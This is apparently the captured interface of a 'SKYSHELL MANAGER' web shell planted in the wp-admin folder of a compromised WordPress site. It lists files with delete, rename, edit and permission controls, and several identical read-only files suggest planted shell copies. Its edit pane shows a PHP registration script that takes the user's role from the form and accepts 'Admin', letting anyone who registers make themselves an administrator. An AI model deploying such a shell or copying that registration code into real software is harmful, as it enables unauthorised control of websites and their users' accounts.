📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: register-process.php
<?php session_start(); require_once 'config/db.php'; // Make sure the request was made via POST if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("Location: register.php"); exit(); } // 2. Extract and sanitize inputs $username = isset($_POST['username']) ? trim($_POST['username']) : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $company = isset($_POST['company']) ? trim($_POST['company']) : ''; $role = isset($_POST['role']) ? trim($_POST['role']) : 'User'; // 3. Validation if (empty($username) || empty($password) || empty($company)) { $_SESSION['register_error'] = "All fields are required."; header("Location: register.php"); exit(); } if (!filter_var($username, FILTER_VALIDATE_EMAIL)) { $_SESSION['register_error'] = "Please enter a valid email address for the username."; header("Location: register.php"); exit(); } if (strlen($password) < 6) { $_SESSION['register_error'] = "Password must be at least 6 characters long."; header("Location: register.php"); exit(); } // Enforce allowed ENUM roles $allowedRoles = ['Admin', 'User']; if (!in_array($role, $allowedRoles, true)) { $role = 'User'; } try { // 4. Check if username already exists (UNIQUE constraint on username) $checkSql = "SELECT id FROM users WHERE username = :username LIMIT 1"; $checkStmt = $pdo->prepare($checkSql); $checkStmt->execute([':username' => $username]); if ($checkStmt->fetch()) { $_SESSION['register_error'] = "An account with this username already exists."; header("Location: register.php"); exit(); } // 5. Hash the password securely $hashedPassword = password_hash($password, PASSWORD_DEFAULT); // 6. Insert new user (status defaults to 'Active', created_at defaults to CURRENT_TIMESTAMP) $insertSql = "INSERT INTO users (username, password, company, role) VALUES (:username, :password, :company, :role)"; $insertStmt = $pdo->prepare($insertSql); $insertStmt->execute([ ':username' => $username, ':password' => $hashedPassword, ':company' => $company, ':role' => $role ]); // 7. Success redirect $_SESSION['register_success'] = "Account created successfully! You can now log in."; header("Location: register.php"); // Or change to 'login.php' if you prefer immediate login redirect exit(); } catch (PDOException $e) { // Log error internally in production instead of outputting direct DB error details $_SESSION['register_error'] = "Something went wrong during registration. Please try again."; header("Location: register.php"); exit(); }
Save